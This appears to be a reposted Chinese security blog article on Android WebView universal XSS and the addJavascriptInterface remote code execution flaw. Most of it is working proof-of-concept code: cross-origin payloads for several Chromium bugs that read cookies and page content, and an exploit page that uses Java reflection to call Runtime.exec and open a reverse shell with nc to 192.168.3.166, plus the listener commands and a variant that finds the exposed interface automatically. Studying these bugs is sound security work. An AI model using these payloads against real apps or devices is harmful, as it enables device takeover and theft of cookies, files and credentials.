您好,登錄后才能下訂單哦!
1.什么是WebView UXSS
WebView是Android Chrome瀏覽器依賴的基礎(chǔ)組件,是WebKit框架中的核心類,派生于Android SDK中的View,用于在Android Activity Layout中不調(diào)用瀏覽器,直接實現(xiàn)顯示網(wǎng)頁等基本的瀏覽器功能。
WebView在Android程序中的基本用法如下:
layout文件
<?xml version="1.0" encoding="utf-8"?> <WebView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/webview" android:layout_width="fill_parent" android:layout_height="fill_parent" />
加載網(wǎng)頁
WebView myWebView = (WebView) findViewById(R.id.webview); myWebView.loadUrl("http://www.example.com");
在Manifest中聲明
<manifest ... > <uses-permission android:name="android.permission.INTERNET" /> ... </manifest>
由于 WebView中存在的XSS漏洞不依賴于具體的網(wǎng)站和終端平臺,存在于基于WebKit的瀏覽器中,因此被稱作通用性XSS——UXSS.
2. Google公開的WebView UXSS
bug#37383 javascript:url with a leading NULL byte can bypass cross origin protection 前導NULL字節(jié)的javascript偽協(xié)議可以繞過同源策略。
POC:
hehe.html <iframe name="test" src="http://www.g.cn"></iframe> <input type=button value="test" onclick="window.open('\u0000javascript:alert(document.cookie)','test')" >
或者
<iframe name="test" src="http://www.g.cn"></iframe> <input type=button value="test" onclick="window.open('\x00javascript:alert(document.cookie)','test')" >
bug#90222 UXSS with document.baseURI ***者設(shè)置document.baseURI為javascript:URL繞過同源策略
POC:
<script> i = document.body.appendChild(document.createElement("iframe")); i.src = "http://google.com"; i.onload = function() { document.documentURI = "javascript://hostname.com/%0D%0Aalert('OH HAI ' + location)"; i.contentWindow.location = ""; } </script>
bug#98053 UXSS via HTMLObjectElement 通過HTMLObjectElement標簽的UXSS
POC:
<script> window.onload = function() { object = document.createElement("object"); object.data = "http://google.com/"; document.body.appendChild(object); object.onload = function() { object.data = "javascript:alert(document.body.innerHTML)"; object.innerHTML = "foo"; } } </script>
bug#143439 Universal XSS in frame elements handling 處理Frame元素中的UXSS
該bug提到了四種處理Frame導致UXSS的方式。
其中的一種POC:Inserting the target frame element during the execution of the helper frame element's onunload handler, after all candidates for the child frame disconnector have been collected.
container = document.body.appendChild(document.createElement("div")); helperFrame = container.appendChild(document.createElement("iframe")); targetFrame = document.createElement("iframe"); helperFrame.contentWindow.onunload = function() { container.insertBefore(targetFrame, helperFrame); } document.body.removeChild(container); alert(targetFrame.contentWindow);
bug#143437 v8 builtins object exposed to user causing UXSS 暴露于用戶的v8 builtins對象導致UXSS
In v8natives.js of Chromium
function NewFunction(arg1) { ... var source = '(function(' + p + ') {\n' + body + '\n})'; ... var f = %CompileString(source)();
當'this'指針指向一個v8 builtins對象時,用戶提供一個定制的body可導致javascript代碼執(zhí)行
POC: javascript:Function("},alert(this),{").
更詳細的Expoit
<body> <script> frame = document.body.appendChild(document.createElement("iframe")); frame.src = "http://xkcd.com/"; frame.onload = function() { Function("}, (builtins = this), function() {"); originalInstantiate = builtins.Instantiate; builtins.DefineOneShotAccessor(builtins, "Instantiate", function() {}); flag = 0; template = null; builtins.Instantiate = function(x, y) { if (flag) { doc = frame.contentWindow.document; alert(doc.body.innerHTML); flag = 0; } else if (!template) template = x; return originalInstantiate(x, y); }; document.implementation; flag = 1; builtins.ConfigureTemplateInstance(frame.contentWindow, template); } </script> </body>
Wooyun上有人開發(fā)了手機瀏覽器UXSS漏洞在線測試網(wǎng)頁http://uxss.sinaapp.com
目前收錄的poc包括:
'https://code.google.com/p/chromium/issues/detail?id=143437'
'https://code.google.com/p/chromium/issues/detail?id=37383',
'https://code.google.com/p/chromium/issues/detail?id=143439'
'https://code.google.com/p/chromium/issues/detail?id=98053'
'https://code.google.com/p/chromium/issues/detail?id=117550'
'https://code.google.com/p/chromium/issues/detail?id=90222'
通過UXSS,可以繞過同源策略執(zhí)行js,如果App中訪問***頁面使用的WebView具有訪問本地文件的權(quán)限、帶有會話Cookie和口令等敏感信息,則本地文件和敏感信息可能失竊。
3、更為危險的WebView addJavascriptInterface接口
這個接口用于實現(xiàn)本地java和js的交互,利用addJavascriptInterface這個接口函數(shù)可實現(xiàn)Js注入WebView調(diào)用Native Java方法,甚至控制android系統(tǒng)
當Android使用了WebView的addJavascriptInterface接口,且編譯API級別小于17(Android 4.2),則可能存在webview遠程代碼執(zhí)行漏洞,而這個漏洞的利用取決于使用WebView APP所具有的權(quán)限。
下面的代碼說明了addJavascriptInterface在WebView中的使用方法,
public classMainActivityextendsActivity { privateWebViewmyWebView; @Override protectedvoidonCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); myWebView=newWebView(this); myWebView.getSettings().setJavaScriptEnabled(true); // 允許執(zhí)行javascript myWebView.addJavascriptInterface(newJavaScriptInterface(),"jsinterface"); //注冊名為jsinterface的的對象,該對象可通過js訪問,并調(diào)用其方法。 myWebView.loadUrl("http://192.168.3.155/attackwv.html"); //WebView加載調(diào)用jsinterface的網(wǎng)頁 setContentView(myWebView); } finalclassJavaScriptInterface { JavaScriptInterface () { } publicString getSomeString() { return"Hello, World"; } } }
在attackwv.html中,簡單的調(diào)用了
<html> <body> <script type="text/javascript">document.write(window.jsinterface.getSomeString())</script> </body> </html>
在Android 4.1.2模擬器中的執(zhí)行效果如下,通過js成功調(diào)用了WebView中JavaScriptInterface的方法。
可是我們不僅僅只滿足于打印Hello World,是否有方法遠程執(zhí)行任意命令呢?
答案是:可以利用Java的反射機制可以得到java.lang.Runtime對象,并執(zhí)行任意命令,該命令的權(quán)限取決于使用WebView的app權(quán)限。
修改后的attackwv1.html如下所示,可以 利用execute函數(shù)成功實現(xiàn)了反彈shell
<html> <body> <script type="text/javascript"> function execute(cmd){ return window.jsinterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd); } //execute(['/system/bin/sh','-c','id > /data/data/com.heen.webview/mwr.txt']); execute(["/system/bin/sh","-c","nc 192.168.3.166 8088|/system/bin/sh|nc 192.168.3.166 9999"]); alert("ok"); </script> </body> </html>
在192.168.3.166中打開兩個shell窗口,
nc -l -vv 8088
nc -l -vv 9999
成功獲得了Android 4.1.2模擬器的shell。
這種方法的局限在于,必須知道接口名jsinterface。但通過窮舉當前加載網(wǎng)頁window對象,判斷其是否支持java反射,也可以在不知道接口名的條件下獲得可調(diào)用java方法的對象,修正后的execute如下,
function execute(cmd){ for (var obj in window) { if ("getClass" in window[obj]) { return window[obj].getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null).invoke(null,null).exec(cmd); } } }
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。